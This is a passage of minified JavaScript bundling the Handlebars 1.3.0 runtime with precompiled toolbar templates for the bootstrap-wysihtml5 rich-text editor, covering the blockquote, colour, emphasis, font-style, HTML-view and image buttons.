a.prototype.toString=function(){return\"\"+this.string},b=a}(),b=function(a){\"use strict\";function b(a){return h[a]||\"&amp;\"}function c(a,b){for(var c in b)Object.prototype.hasOwnProperty.call(b,c)&&(a[c]=b[c])}function d(a){return a instanceof g?a.toString():a||0===a?(a=\"\"+a,j.test(a)?a.replace(i,b):a):\"\"}function e(a){return a||0===a?m(a)&&0===a.length?!0:!1:!0}var f={},g=a,h={\"&\":\"&amp;\",\"<\":\"&lt;\",\">\":\"&gt;\",'\"':\"&quot;\",\"'\":\"&#x27;\",\"`\":\"&#x60;\"},i=/[&<>\"'`]/g,j=/[&<>\"'`]/;f.extend=c;var k=Object.prototype.toString;f.toString=k;var l=function(a){return\"function\"==typeof a};l(/x/)&&(l=function(a){return\"function\"==typeof a&&\"[object Function]\"===k.call(a)});var l;f.isFunction=l;var m=Array.isArray||function(a){return a&&\"object\"==typeof a?\"[object Array]\"===k.call(a):!1};return f.isArray=m,f.escapeExpression=d,f.isEmpty=e,f}(a),c=function(){\"use strict\";function a(a,b){var d;b&&b.firstLine&&(d=b.firstLine,a+=\" - \"+d+\":\"+b.firstColumn);for(var e=Error.prototype.constructor.call(this,a),f=0;f<c.length;f++)this[c[f]]=e[c[f]];d&&(this.lineNumber=d,this.column=b.firstColumn)}var b,c=[\"description\",\"fileName\",\"lineNumber\",\"message\",\"name\",\"number\",\"stack\"];return a.prototype=new Error,b=a}(),d=function(a,b){\"use strict\";function c(a,b){this.helpers=a||{},this.partials=b||{},d(this)}function d(a){a.registerHelper(\"helperMissing\",function(a){if(2===arguments.length)return void 0;throw new h(\"Missing helper: '\"+a+\"'\")}),a.registerHelper(\"blockHelperMissing\",function(b,c){var d=c.inverse||function(){},e=c.fn;return m(b)&&(b=b.call(this)),b===!0?e(this):b===!1||null==b?d(this):l(b)?b.length>0?a.helpers.each(b,c):d(this):e(b)}),a.registerHelper(\"each\",function(a,b){var c,d=b.fn,e=b.inverse,f=0,g=\"\";if(m(a)&&(a=a.call(this)),b.data&&(c=q(b.data)),a&&\"object\"==typeof a)if(l(a))for(var h=a.length;h>f;f++)c&&(c.index=f,c.first=0===f,c.last=f===a.length-1),g+=d(a[f],{data:c});else for(var i in a)a.hasOwnProperty(i)&&(c&&(c.key=i,c.index=f,c.first=0===f),g+=d(a[i],{data:c}),f++);return 0===f&&(g=e(this)),g}),a.registerHelper(\"if\",function(a,b){return m(a)&&(a=a.call(this)),!b.hash.includeZero&&!a||g.isEmpty(a)?b.inverse(this):b.fn(this)}),a.registerHelper(\"unless\",function(b,c){return a.helpers[\"if\"].call(this,b,{fn:c.inverse,inverse:c.fn,hash:c.hash})}),a.registerHelper(\"with\",function(a,b){return m(a)&&(a=a.call(this)),g.isEmpty(a)?void 0:b.fn(a)}),a.registerHelper(\"log\",function(b,c){var d=c.data&&null!=c.data.level?parseInt(c.data.level,10):1;a.log(d,b)})}function e(a,b){p.log(a,b)}var f={},g=a,h=b,i=\"1.3.0\";f.VERSION=i;var j=4;f.COMPILER_REVISION=j;var k={1:\"<= 1.0.rc.2\",2:\"== 1.0.0-rc.3\",3:\"== 1.0.0-rc.4\",4:\">= 1.0.0\"};f.REVISION_CHANGES=k;var l=g.isArray,m=g.isFunction,n=g.toString,o=\"[object Object]\";f.HandlebarsEnvironment=c,c.prototype={constructor:c,logger:p,log:e,registerHelper:function(a,b,c){if(n.call(a)===o){if(c||b)throw new h(\"Arg not supported with multiple helpers\");g.extend(this.helpers,a)}else c&&(b.not=c),this.helpers[a]=b},registerPartial:function(a,b){n.call(a)===o?g.extend(this.partials,a):this.partials[a]=b}};var p={methodMap:{0:\"debug\",1:\"info\",2:\"warn\",3:\"error\"},DEBUG:0,INFO:1,WARN:2,ERROR:3,level:3,log:function(a,b){if(p.level<=a){var c=p.methodMap[a];\"undefined\"!=typeof console&&console[c]&&console[c].call(console,b)}}};f.logger=p,f.log=e;var q=function(a){var b={};return g.extend(b,a),b};return f.createFrame=q,f}(b,c),e=function(a,b,c){\"use strict\";function d(a){var b=a&&a[0]||1,c=m;if(b!==c){if(c>b){var d=n[c],e=n[b];throw new l(\"Template was precompiled with an older version of Handlebars than the current runtime. Please update your precompiler to a newer version (\"+d+\") or downgrade your runtime to an older version (\"+e+\").\")}throw new l(\"Template was precompiled with a newer version of Handlebars than the current runtime. Please update your runtime to a newer version (\"+a[1]+\").\")}}function e(a,b){if(!b)throw new l(\"No environment passed to template\");var c=function(a,c,d,e,f,g){var h=b.VM.invokePartial.apply(this,arguments);if(null!=h)return h;if(b.compile){var i={helpers:e,partials:f,data:g};return f[c]=b.compile(a,{data:void 0!==g},b),f[c](d,i)}throw new l(\"The partial \"+c+\" could not be compiled when running in runtime-only mode\")},d={escapeExpression:k.escapeExpression,invokePartial:c,programs:[],program:function(a,b,c){var d=this.programs[a];return c?d=g(a,b,c):d||(d=this.programs[a]=g(a,b)),d},merge:function(a,b){var c=a||b;return a&&b&&a!==b&&(c={},k.extend(c,b),k.extend(c,a)),c},programWithDepth:b.VM.programWithDepth,noop:b.VM.noop,compilerInfo:null};return function(c,e){e=e||{};var f,g,h=e.partial?e:b;e.partial||(f=e.helpers,g=e.partials);var i=a.call(d,h,c,f,g,e.data);return e.partial||b.VM.checkRevision(d.compilerInfo),i}}function f(a,b,c){var d=Array.prototype.slice.call(arguments,3),e=function(a,e){return e=e||{},b.apply(this,[a,e.data||c].concat(d))};return e.program=a,e.depth=d.length,e}function g(a,b,c){var d=function(a,d){return d=d||{},b(a,d.data||c)};return d.program=a,d.depth=0,d}function h(a,b,c,d,e,f){var g={partial:!0,helpers:d,partials:e,data:f};if(void 0===a)throw new l(\"The partial \"+b+\" could not be found\");return a instanceof Function?a(c,g):void 0}function i(){return\"\"}var j={},k=a,l=b,m=c.COMPILER_REVISION,n=c.REVISION_CHANGES;return j.checkRevision=d,j.template=e,j.programWithDepth=f,j.program=g,j.invokePartial=h,j.noop=i,j}(b,c,d),f=function(a,b,c,d,e){\"use strict\";var f,g=a,h=b,i=c,j=d,k=e,l=function(){var a=new g.HandlebarsEnvironment;return j.extend(a,g),a.SafeString=h,a.Exception=i,a.Utils=j,a.VM=k,a.template=function(b){return k.template(b,a)},a},m=l();return m.create=l,f=m}(d,a,c,b,e);return f}();this[\"wysihtml5\"] = this[\"wysihtml5\"] || {};\nthis[\"wysihtml5\"][\"tpl\"] = this[\"wysihtml5\"][\"tpl\"] || {};\n\nthis[\"wysihtml5\"][\"tpl\"][\"blockquote\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program3(depth0,data) {\n  \n  \n  return \" \\n      <span class=\\\"fa fa-quote-left\\\"></span>\\n    \";\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-quote\\\"></span>\\n    \";\n  }\n\n  buffer += \"<li>\\n  <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"blockquote\\\" data-wysihtml5-display-format-name=\\\"false\\\" tabindex=\\\"-1\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(5, program5, data),fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n  </a>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"color\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\n  buffer += \"<li class=\\\"dropdown\\\">\\n  <a class=\\\"btn btn-default dropdown-toggle \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\\" data-toggle=\\\"dropdown\\\" tabindex=\\\"-1\\\">\\n    <span class=\\\"current-color\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.black)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</span>\\n    <b class=\\\"caret\\\"></b>\\n  </a>\\n  <ul class=\\\"dropdown-menu\\\">\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"black\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"black\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.black)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"silver\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"silver\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.silver)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"gray\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"gray\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.gray)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"maroon\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"maroon\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.maroon)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"red\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"red\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.red)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"purple\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"purple\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.purple)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"green\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"green\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.green)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"olive\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"olive\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.olive)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"navy\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"navy\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.navy)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"blue\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"blue\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.blue)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><div class=\\\"wysihtml5-colors\\\" data-wysihtml5-command-value=\\\"orange\\\"></div><a class=\\\"wysihtml5-colors-title\\\" data-wysihtml5-command=\\\"foreColor\\\" data-wysihtml5-command-value=\\\"orange\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.colours)),stack1 == null || stack1 === false ? stack1 : stack1.orange)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n  </ul>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"emphasis\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program3(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"small\\\" title=\\\"CTRL+S\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.emphasis)),stack1 == null || stack1 === false ? stack1 : stack1.small)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n    \";\n  return buffer;\n  }\n\n  buffer += \"<li>\\n  <div class=\\\"btn-group\\\">\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"bold\\\" title=\\\"CTRL+B\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.emphasis)),stack1 == null || stack1 === false ? stack1 : stack1.bold)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"italic\\\" title=\\\"CTRL+I\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.emphasis)),stack1 == null || stack1 === false ? stack1 : stack1.italic)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-command=\\\"underline\\\" title=\\\"CTRL+U\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.emphasis)),stack1 == null || stack1 === false ? stack1 : stack1.underline)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a>\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.emphasis)),stack1 == null || stack1 === false ? stack1 : stack1.small), {hash:{},inverse:self.noop,fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n  </div>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"font-styles\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program3(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-font\\\"></span>\\n    \";\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-font\\\"></span>\\n    \";\n  }\n\n  buffer += \"<li class=\\\"dropdown\\\">\\n  <a class=\\\"btn btn-default dropdown-toggle \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\\" data-toggle=\\\"dropdown\\\">\\n    \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(5, program5, data),fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    <span class=\\\"current-font\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.normal)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</span>\\n    <b class=\\\"caret\\\"></b>\\n  </a>\\n  <ul class=\\\"dropdown-menu\\\">\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"p\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.normal)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h1\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h1)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h2\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h2)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h3\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h3)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h4\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h4)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h5\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h5)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n    <li><a data-wysihtml5-command=\\\"formatBlock\\\" data-wysihtml5-command-value=\\\"h6\\\" tabindex=\\\"-1\\\">\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.font_styles)),stack1 == null || stack1 === false ? stack1 : stack1.h6)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"</a></li>\\n  </ul>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"html\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program3(depth0,data) {\n  \n  \n  return \"\\n        <span class=\\\"fa fa-pencil\\\"></span>\\n      \";\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n        <span class=\\\"glyphicon glyphicon-pencil\\\"></span>\\n      \";\n  }\n\n  buffer += \"<li>\\n  <div class=\\\"btn-group\\\">\\n    <a class=\\\"btn \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \" btn-default\\\" data-wysihtml5-action=\\\"change_view\\\" title=\\\"\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.locale)),stack1 == null || stack1 === false ? stack1 : stack1.html)),stack1 == null || stack1 === false ? stack1 : stack1.edit)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))\n    + \"\\\" tabindex=\\\"-1\\\">\\n      \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.fa), {hash:{},inverse:self.program(5, program5, data),fn:self.program(3, program3, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\n    </a>\\n  </div>\\n</li>\\n\";\n  return buffer;\n  });\n\nthis[\"wysihtml5\"][\"tpl\"][\"image\"] = Handlebars.template(function (Handlebars,depth0,helpers,partials,data) {\n  this.compilerInfo = [4,'>= 1.0.0'];\nhelpers = this.merge(helpers, Handlebars.helpers); data = data || {};\n  var buffer = \"\", stack1, functionType=\"function\", escapeExpression=this.escapeExpression, self=this;\n\nfunction program1(depth0,data) {\n  \n  \n  return \"modal-sm\";\n  }\n\nfunction program3(depth0,data) {\n  \n  var buffer = \"\", stack1;\n  buffer += \"btn-\"\n    + escapeExpression(((stack1 = ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.size)),typeof stack1 === functionType ? stack1.apply(depth0) : stack1));\n  return buffer;\n  }\n\nfunction program5(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"fa fa-file-image-o\\\"></span>\\n    \";\n  }\n\nfunction program7(depth0,data) {\n  \n  \n  return \"\\n      <span class=\\\"glyphicon glyphicon-picture\\\"></span>\\n    \";\n  }\n\n  buffer += \"<li>\\n  <div class=\\\"bootstrap-wysihtml5-insert-image-modal modal fade\\\" data-wysihtml5-dialog=\\\"insertImage\\\">\\n    <div class=\\\"modal-dialog \";\n  stack1 = helpers['if'].call(depth0, ((stack1 = ((stack1 = (depth0 && depth0.options)),stack1 == null || stack1 === false ? stack1 : stack1.toolbar)),stack1 == null || stack1 === false ? stack1 : stack1.smallmodals), {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});\n  if(stack1 || stack1 === 0) { buffer += stack1; }\n  buffer += \"\\\">\\n      <div class=\\\"modal-content\\\">\\n        <div class=\\\"modal-header\\\">\\n          <a class=\\\"close\\\" 